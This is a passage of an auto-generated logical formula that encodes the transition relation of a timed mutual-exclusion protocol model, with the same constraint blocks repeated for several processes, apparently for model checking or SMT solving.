!_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l0 && _x_p13_l1))) && ((( !p13_l3) && (( !p13_l2) && (p13_l1 && ( !p13_l0)))) && ((delta == 0.0) && p13_evt)))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) || (( !_x_p13_l3) && (_x_p13_l2 && (( !_x_p13_l0) && ( !_x_p13_l1)))))) || ( !((( !p13_l3) && (( !p13_l2) && (p13_l0 && p13_l1))) && ((delta == 0.0) && p13_evt))))) && ((v2 && (p13_c == _x_p13_c)) || ( !(((delta == 0.0) && p13_evt) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) && (( !p13_l3) && (( !p13_l2) && (p13_l0 && p13_l1)))))))) && ((( !v2) && (_x_p13_c == 0.0)) || ( !(((delta == 0.0) && p13_evt) && ((( !p13_l3) && (( !p13_l2) && (p13_l0 && p13_l1))) && (( !_x_p13_l3) && (_x_p13_l2 && (( !_x_p13_l0) && ( !_x_p13_l1))))))))) && (((_x_v2 && (( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l0 && ( !_x_p13_l1))))) && ((v1 == _x_v1) && (_x_p13_c == 0.0))) || ( !((( !p13_l3) && (p13_l2 && (( !p13_l0) && ( !p13_l1)))) && ((delta == 0.0) && p13_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p13_c == _x_p13_c) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) || (( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l1 && ( !_x_p13_l0))))))) || ( !((( !p13_l3) && (p13_l2 && (p13_l0 && ( !p13_l1)))) && ((delta == 0.0) && p13_evt))))) && (( !(v1 == 14)) || ( !(((delta == 0.0) && p13_evt) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) && (( !p13_l3) && (p13_l2 && (p13_l0 && ( !p13_l1))))))))) && ((v1 == 14) || ( !(((delta == 0.0) && p13_evt) && ((( !p13_l3) && (p13_l2 && (p13_l0 && ( !p13_l1)))) && (( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l1 && ( !_x_p13_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l0 && _x_p13_l1))) && (_x_p13_c == 0.0))) || ( !((( !p13_l3) && (p13_l2 && (p13_l1 && ( !p13_l0)))) && ((delta == 0.0) && p13_evt))))) && ((((v1 == _x_v1) && (_x_p13_c == 0.0)) && (( !_x_v2) && (_x_p13_l3 && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))))) || ( !((( !p13_l3) && (p13_l2 && (p13_l0 && p13_l1))) && ((delta == 0.0) && p13_evt))))) && ((((_x_v1 == 0) && (( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1))))) && ((v2 == _x_v2) && (p13_c == _x_p13_c))) || ( !((p13_l3 && (( !p13_l2) && (( !p13_l0) && ( !p13_l1)))) && ((delta == 0.0) && p13_evt))))) && (((((((((((((((((((((_x_p12_l3 && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) || ((( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l0 && _x_p12_l1))) || ((( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l1 && ( !_x_p12_l0)))) || ((( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l0 && ( !_x_p12_l1)))) || ((( !_x_p12_l3) && (_x_p12_l2 && (( !_x_p12_l0) && ( !_x_p12_l1)))) || ((( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && _x_p12_l1))) || ((( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l1 && ( !_x_p12_l0)))) || ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) || (( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && ( !_x_p12_l1)))))))))))) && ((_x_p12_c <= 16.0) || ( !(((( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && ( !_x_p12_l1)))) || (( !_x_p12_l3) && (_x_p12_l2 && (( !_x_p12_l0) && ( !_x_p12_l1))))) || ((( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l0 && _x_p12_l1))) || (_x_p12_l3 && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1))))))))) && ((delta <= 0.0) || (((((p12_l0 == _x_p12_l0) && (p12_l1 == _x_p12_l1)) && (p12_l2 == _x_p12_l2)) && (p12_l3 == _x_p12_l3)) && ((delta + (p12_c + (-1.0 * _x_p12_c))) == 0.0)))) && (p12_evt || (((((p12_l0 == _x_p12_l0) && (p12_l1 == _x_p12_l1)) && (p12_l2 == _x_p12_l2)) && (p12_l3 == _x_p12_l3)) && ((delta + (p12_c + (-1.0 * _x_p12_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && ( !_x_p12_l1))))) && ((v2 == _x_v2) && (_x_p12_c == 0.0)))) || ( !((( !p12_l3) && (( !p12_l2) && (( !p12_l0) && ( !p12_l1)))) && ((delta == 0.0) && p12_evt))))) && ((((v2 == _x_v2) && (_x_p12_c == 0.0)) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l1 && ( !_x_p12_l0)))) && (_x_v1 == 13))) || ( !((( !p12_l3) && (( !p12_l2) && (p12_l0 && ( !p12_l1)))) && ((delta == 0.0) && p12_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) || (( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && _x_p12_l1)))) && (p12_c == _x_p12_c))) || ( !((( !p12_l3) && (( !p12_l2) && (p12_l1 && ( !p12_l0)))) && ((delta == 0.0) && p12_evt))))) && (( !(v1 == 13)) || ( !((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) && ((( !p12_l3) && (( !p12_l2) && (p12_l1 && ( !p12_l0)))) && ((delta == 0.0) && p12_evt)))))) && (((v1 == 13) && ( !(p12_c <= 16.0))) || ( !((( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && _x_p12_l1))) && ((( !p12_l3) && (( !p12_l2) && (p12_l1 && ( !p12_l0)))) && ((delta == 0.0) && p12_evt)))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) || (( !_x_p12_l3) && (_x_p12_l2 && (( !_x_p12_l0) && ( !_x_p12_l1)))))) || ( !((( !p12_l3) && (( !p12_l2) && (p12_l0 && p12_l1))) && ((delta == 0.0) && p12_evt))))) && ((v2 && (p12_c == _x_p12_c)) || ( !(((delta == 0.0) && p12_evt) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) && (( !p12_l3) && (( !p12_l2) && (p12_l0 && p12_l1)))))))) && ((( !v2) && (_x_p12_c == 0.0)) || ( !(((delta == 0.0) && p12_evt) && ((( !p12_l3) && (( !p12_l2) && (p12_l0 && p12_l1))) && (( !_x_p12_l3) && (_x_p12_l2 && (( !_x_p12_l0) && ( !_x_p12_l1))))))))) && (((_x_v2 && (( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l0 && ( !_x_p12_l1))))) && ((v1 == _x_v1) && (_x_p12_c == 0.0))) || ( !((( !p12_l3) && (p12_l2 && (( !p12_l0) && ( !p12_l1)))) && ((delta == 0.0) && p12_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p12_c == _x_p12_c) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) || (( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l1 && ( !_x_p12_l0))))))) || ( !((( !p12_l3) && (p12_l2 && (p12_l0 && ( !p12_l1)))) && ((delta == 0.0) && p12_evt))))) && (( !(v1 == 13)) || ( !(((delta == 0.0) && p12_evt) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) && (( !p12_l3) && (p12_l2 && (p12_l0 && ( !p12_l1))))))))) && ((v1 == 13) || ( !(((delta == 0.0) && p12_evt) && ((( !p12_l3) && (p12_l2 && (p12_l0 && ( !p12_l1)))) && (( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l1 && ( !_x_p12_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l0 && _x_p12_l1))) && (_x_p12_c == 0.0))) || ( !((( !p12_l3) && (p12_l2 && (p12_l1 && ( !p12_l0)))) && ((delta == 0.0) && p12_evt))))) && ((((v1 == _x_v1) && (_x_p12_c == 0.0)) && (( !_x_v2) && (_x_p12_l3 && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))))) || ( !((( !p12_l3) && (p12_l2 && (p12_l0 && p12_l1))) && ((delta == 0.0) && p12_evt))))) && ((((_x_v1 == 0) && (( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1))))) && ((v2 == _x_v2) && (p12_c == _x_p12_c))) || ( !((p12_l3 && (( !p12_l2) && (( !p12_l0) && ( !p12_l1)))) && ((delta == 0.0) && p12_evt))))) && (((((((((((((((((((((_x_p11_l3 && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) || ((( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l0 && _x_p11_l1))) || ((( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l1 && ( !_x_p11_l0)))) || ((( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l0 && ( !_x_p11_l1)))) || ((( !_x_p11_l3) && (_x_p11_l2 && (( !_x_p11_l0) && ( !_x_p11_l1)))) || ((( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && _x_p11_l1))) || ((( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l1 && ( !_x_p11_l0)))) || ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) || (( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && ( !_x_p11_l1)))))))))))) && ((_x_p11_c <= 16.0) || ( !(((( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && ( !_x_p11_l1)))) || (( !_x_p11_l3) && (_x_p11_l2 && (( !_x_p11_l0) && ( !_x_p11_l1))))) || ((( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l0 && _x_p11_l1))) || (_x_p11_l3 && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1))))))))) && ((delta <= 0.0) || (((((p11_l0 == _x_p11_l0) && (p11_l1 == _x_p11_l1)) && (p11_l2 == _x_p11_l2)) && (p11_l3 == _x_p11_l3)) && ((delta + (p11_c + (-1.0 * _x_p11_c))) == 0.0)))) && (p11_evt || (((((p11_l0 == _x_p11_l0) && (p11_l1 == _x_p11_l1)) && (p11_l2 == _x_p11_l2)) && (p11_l3 == _x_p11_l3)) && ((delta + (p11_c + (-1.0 * _x_p11_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && ( !_x_p11_l1))))) && ((v2 == _x_v2) && (_x_p11_c == 0.0)))) || ( !((( !p11_l3) && (( !p11_l2) && (( !p11_l0) && ( !p11_l1)))) && ((delta == 0.0) && p11_evt))))) && ((((v2 == _x_v2) && (_x_p11_c == 0.0)) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l1 && ( !_x_p11_l0)))) && (_x_v1 == 12))) || ( !((( !p11_l3) && (( !p11_l2) && (p11_l0 && ( !p11_l1)))) && ((delta == 0.0) && p11_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) || (( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && _x_p11_l1)))) && (p11_c == _x_p11_c))) || ( !((( !p11_l3) && (( !p11_l2) && (p11_l1 && ( !p11_l0)))) && ((delta == 0.0) && p11_evt))))) && (( !(v1 == 12)) || ( !((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) && ((( !p11_l3) && (( !p11_l2) && (p11_l1 && ( !p11_l0)))) && ((delta == 0.0) && p11_evt)))))) && (((v1 == 12) && ( !(p11_c <= 16.0))) || ( !((( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && _x_p11_l1))) && ((( !p11_l3) && (( !p11_l2) && (p11_l1 && ( !p11_l0)))) && ((delta == 0.0) && p11_evt)))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) || (( !_x_p11_l3) && (_x_p11_l2 && (( !_x_p11_l0) && ( !_x_p11_l1)))))) || ( !((( !p11_l3) && (( !p11_l2) && (p11_l0 && p11_l1))) && ((delta == 0.0) && p11_evt))))) && ((v2 && (p11_c == _x_p11_c)) || ( !(((delta == 0.0) && p11_evt) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) && (( !p11_l3) && (( !p11_l2) && (p11_l0 && p11_l1)))))))) && ((( !v2) && (_x_p11_c == 0.0)) || ( !(((delta == 0.0) && p11_evt) && ((( !p11_l3) && (( !p11_l2) && (p11_l0 && p11_l1))) && (( !_x_p11_l3) && (_x_p11_l2 && (( !_x_p11_l0) && ( !_x_p11_l1))))))))) && (((_x_v2 && (( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l0 && ( !_x_p11_l1))))) && ((v1 == _x_v1) && (_x_p11_c == 0.0))) || ( !((( !p11_l3) && (p11_l2 && (( !p11_l0) && ( !p11_l1)))) && ((delta == 0.0) && p11_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p11_c == _x_p11_c) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) || (( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l1 && ( !_x_p11_l0))))))) || ( !((( !p11_l3) && (p11_l2 && (p11_l0 && ( !p11_l1)))) && ((delta == 0.0) && p11_evt))))) && (( !(v1 == 12)) || ( !(((delta == 0.0) && p11_evt) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) && (( !p11_l3) && (p11_l2 && (p11_l0 && ( !p11_l1))))))))) && ((v1 == 12) || ( !(((delta == 0.0) && p11_evt) && ((( !p11_l3) && (p11_l2 && (p11_l0 && ( !p11_l1)))) && (( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l1 && ( !_x_p11_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l0 && _x_p11_l1))) && (_x_p11_c == 0.0))) || ( !((( !p11_l3) && (p11_l2 && (p11_l1 && ( !p11_l0)))) && ((delta == 0.0) && p11_evt))))) && ((((v1 == _x_v1) && (_x_p11_c == 0.0)) && (( !_x_v2) && (_x_p11_l3 && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))))) || ( !((( !p11_l3) && (p11_l2 && (p11_l0 && p11_l1))) && ((delta == 0.0) && p11_evt))))) && ((((_x_v1 == 0) && (( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1))))) && ((v2 == _x_v2) && (p11_c == _x_p11_c))) || ( !((p11_l3 && (( !p11_l2) && (( !p11_l0) && ( !p11_l1)))) && ((delta == 0.0) && p11_evt))))) && (((((((((((((((((((((_x_p10_l3 && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1)))) || ((( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l0 && _x_p10_l1))) || ((( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l1 && ( !_x_p10_l0)))) || ((( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l0 && ( !_x_p10_l1)))) || ((( !_x_p10_l3) && (_x_p10_l2 && (( !_x_p10_l0) && ( !_x_p10_l1)))) || ((( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l0 && _x_p10_l1))) || ((( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l1 && ( !_x_p10_l0)))) || ((( !_x_p10_l3) && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1)))) || (( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l0 && ( !_x_p10_l1)))))))))))) && ((_x_p10_c <= 16.0) || ( !(((( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l0 && ( !_x_p10_l1)))) || (( !_x_p10_l3) && (_x_p10_l2 && (( !_x_p10_l0) && ( !_x_p10_l1))))) || ((( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l0 && _x_p10_l1))) || (_x_p10_l3 && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1))))))))) && ((delta <= 0.0) || (((((p10_l0 == _x_p10_l0) && (p10_l1 == _x_p10_l1)) && (p10_l2 == _x_p10_l2)) && (p10_l3 == _x_p10_l3)) && ((delta + (p10_c + (-1.0 * _x_p10_c))) == 0.0)))) && (p10_evt || (((((p10_l0 == _x_p10_l0) && (p10_l1 == _x_p10_l1)) && (p10_l2 == _x_p10_l2)) && (p10_l3 == _x_p10_l3)) && ((delta + (p10_c + (-1.0 * _x_p10_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p10_l3) && (( !_x_p10_l2) && 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p7_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) || (( !_x_p7_l3) && (( !_x_p7_l2) && (_x_p7_l0 && _x_p7_l1)))) && (p7_c == _x_p7_c))) || ( !((( !p7_l3) && (( !p7_l2) && (p7_l1 && ( !p7_l0)))) && ((delta == 0.0) && p7_evt))))) && (( !(v1 == 8)) || ( !((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) && ((( !p7_l3) && (( !p7_l2) && (p7_l1 && ( !p7_l0)))) && ((delta == 0.0) && p7_evt)))))) && (((v1 == 8) && ( !(p7_c <= 16.0))) || ( !((( !_x_p7_l3) && (( !_x_p7_l2) && (_x_p7_l0 && _x_p7_l1))) && ((( !p7_l3) && (( !p7_l2) && (p7_l1 && ( !p7_l0)))) && ((delta == 0.0) && p7_evt)))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) || (( !_x_p7_l3) && (_x_p7_l2 && (( !_x_p7_l0) && ( !_x_p7_l1)))))) || ( !((( !p7_l3) && (( !p7_l2) && (p7_l0 && p7_l1))) && ((delta == 0.0) && p7_evt))))) && ((v2 && (p7_c == _x_p7_c)) || ( !(((delta == 0.0) && p7_evt) && ((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) && (( !p7_l3) && (( !p7_l2) && (p7_l0 && p7_l1)))))))) && ((( !v2) && (_x_p7_c == 0.0)) || ( !(((delta == 0.0) && p7_evt) && ((( !p7_l3) && (( !p7_l2) && (p7_l0 && p7_l1))) && (( !_x_p7_l3) && (_x_p7_l2 && (( !_x_p7_l0) && ( !_x_p7_l1))))))))) && (((_x_v2 && (( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l0 && ( !_x_p7_l1))))) && ((v1 == _x_v1) && (_x_p7_c == 0.0))) || ( !((( !p7_l3) && (p7_l2 && (( !p7_l0) && ( !p7_l1)))) && ((delta == 0.0) && p7_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p7_c == _x_p7_c) && ((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) || (( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l1 && ( !_x_p7_l0))))))) || ( !((( !p7_l3) && (p7_l2 && (p7_l0 && ( !p7_l1)))) && ((delta == 0.0) && p7_evt))))) && (( !(v1 == 8)) || ( !(((delta == 0.0) && p7_evt) && ((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) && (( !p7_l3) && (p7_l2 && (p7_l0 && ( !p7_l1))))))))) && ((v1 == 8) || ( !(((delta == 0.0) && p7_evt) && ((( !p7_l3) && (p7_l2 && (p7_l0 && ( !p7_l1)))) && (( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l1 && ( !_x_p7_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l0 && _x_p7_l1))) && (_x_p7_c == 0.0))) || ( !((( !p7_l3) && (p7_l2 && (p7_l1 && ( !p7_l0)))) && ((delta == 0.0) && p7_evt))))) && ((((v1 == _x_v1) && (_x_p7_c == 0.0)) && (( !_x_v2) && (_x_p7_l3 && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))))) || ( !((( !p7_l3) && (p7_l2 && (p7_l0 && p7_l1))) && ((delta == 0.0) && p7_evt))))) && ((((_x_v1 == 0) && (( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1))))) && ((v2 == _x_v2) && (p7_c == _x_p7_c))) || ( !((p7_l3 && (( !p7_l2) && (( !p7_l0) && ( !p7_l1)))) && ((delta == 0.0) && p7_evt))))) && (((((((((((((((((((((_x_p6_l3 && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) || ((( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l0 && _x_p6_l1))) || ((( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l1 && ( 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&& p6_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p6_c == _x_p6_c) && ((( !_x_p6_l3) && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) || (( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l1 && ( !_x_p6_l0))))))) || ( !((( !p6_l3) && (p6_l2 && (p6_l0 && ( !p6_l1)))) && ((delta == 0.0) && p6_evt))))) && (( !(v1 == 7)) || ( !(((delta == 0.0) && p6_evt) && ((( !_x_p6_l3) && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) && (( !p6_l3) && (p6_l2 && (p6_l0 && ( !p6_l1))))))))) && ((v1 == 7) || ( !(((delta == 0.0) && p6_evt) && ((( !p6_l3) && (p6_l2 && (p6_l0 && ( !p6_l1)))) && (( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l1 && ( !_x_p6_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l0 && _x_p6_l1))) && (_x_p6_c == 0.0))) || ( !((( !p6_l3) && (p6_l2 && (p6_l1 && ( !p6_l0)))) && ((delta == 0.0) && p6_evt))))) && ((((v1 == _x_v1) && (_x_p6_c == 0.0)) && (( !_x_v2) && (_x_p6_l3 && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))))) || ( !((( !p6_l3) && (p6_l2 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p5_evt) && ((( !p5_l3) && (p5_l2 && (p5_l0 && ( !p5_l1)))) && (( !_x_p5_l3) && (_x_p5_l2 && (_x_p5_l1 && ( !_x_p5_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p5_l3) && (_x_p5_l2 && (_x_p5_l0 && _x_p5_l1))) && (_x_p5_c == 0.0))) || ( !((( !p5_l3) && (p5_l2 && (p5_l1 && ( !p5_l0)))) && ((delta == 0.0) && p5_evt))))) && ((((v1 == _x_v1) && (_x_p5_c == 0.0)) && (( !_x_v2) && (_x_p5_l3 && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1)))))) || ( !((( !p5_l3) && (p5_l2 && (p5_l0 && p5_l1))) && ((delta == 0.0) && p5_evt))))) && ((((_x_v1 == 0) && (( !_x_p5_l3) && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1))))) && ((v2 == _x_v2) && (p5_c == _x_p5_c))) || ( !((p5_l3 && (( !p5_l2) && (( !p5_l0) && ( !p5_l1)))) && ((delta == 0.0) && p5_evt))))) && (((((((((((((((((((((_x_p4_l3 && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) || ((( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l0 && _x_p4_l1))) || ((( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l1 && ( !_x_p4_l0)))) || ((( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l0 && ( !_x_p4_l1)))) || ((( !_x_p4_l3) && (_x_p4_l2 && (( !_x_p4_l0) && ( !_x_p4_l1)))) || ((( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && _x_p4_l1))) || ((( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l1 && ( !_x_p4_l0)))) || ((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) || (( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && ( !_x_p4_l1)))))))))))) && ((_x_p4_c <= 16.0) || ( !(((( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && ( !_x_p4_l1)))) || (( !_x_p4_l3) && (_x_p4_l2 && (( !_x_p4_l0) && ( !_x_p4_l1))))) || ((( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l0 && _x_p4_l1))) || (_x_p4_l3 && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1))))))))) && ((delta <= 0.0) || (((((p4_l0 == _x_p4_l0) && (p4_l1 == _x_p4_l1)) && (p4_l2 == _x_p4_l2)) && (p4_l3 == _x_p4_l3)) && ((delta + (p4_c + (-1.0 * _x_p4_c))) == 0.0)))) && (p4_evt || (((((p4_l0 == _x_p4_l0) && (p4_l1 == _x_p4_l1)) && (p4_l2 == _x_p4_l2)) && (p4_l3 == _x_p4_l3)) && ((delta + (p4_c + (-1.0 * _x_p4_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && ( !_x_p4_l1))))) && ((v2 == _x_v2) && (_x_p4_c == 0.0)))) || ( !((( !p4_l3) && (( !p4_l2) && (( !p4_l0) && ( !p4_l1)))) && ((delta == 0.0) && p4_evt))))) && ((((v2 == _x_v2) && (_x_p4_c == 0.0)) && ((( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l1 && ( !_x_p4_l0)))) && (_x_v1 == 5))) || ( !((( !p4_l3) && (( !p4_l2) && (p4_l0 && ( !p4_l1)))) && ((delta == 0.0) && p4_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) || (( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && _x_p4_l1)))) && (p4_c == _x_p4_c))) || ( !((( !p4_l3) && (( !p4_l2) && (p4_l1 && ( !p4_l0)))) && ((delta == 0.0) && p4_evt))))) && (( !(v1 == 5)) || ( !((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) && ((( !p4_l3) && (( !p4_l2) && (p4_l1 && ( !p4_l0)))) && ((delta == 0.0) && p4_evt)))))) && (((v1 == 5) && ( !(p4_c <= 16.0))) || ( !((( !_x_p4_l3) && (( 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&& (v1 == _x_v1)) && ((p4_c == _x_p4_c) && ((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) || (( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l1 && ( !_x_p4_l0))))))) || ( !((( !p4_l3) && (p4_l2 && (p4_l0 && ( !p4_l1)))) && ((delta == 0.0) && p4_evt))))) && (( !(v1 == 5)) || ( !(((delta == 0.0) && p4_evt) && ((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) && (( !p4_l3) && (p4_l2 && (p4_l0 && ( !p4_l1))))))))) && ((v1 == 5) || ( !(((delta == 0.0) && p4_evt) && ((( !p4_l3) && (p4_l2 && (p4_l0 && ( !p4_l1)))) && (( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l1 && ( !_x_p4_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l0 && _x_p4_l1))) && (_x_p4_c == 0.0))) || ( !((( !p4_l3) && (p4_l2 && (p4_l1 && ( !p4_l0)))) && ((delta == 0.0) && p4_evt))))) && ((((v1 == 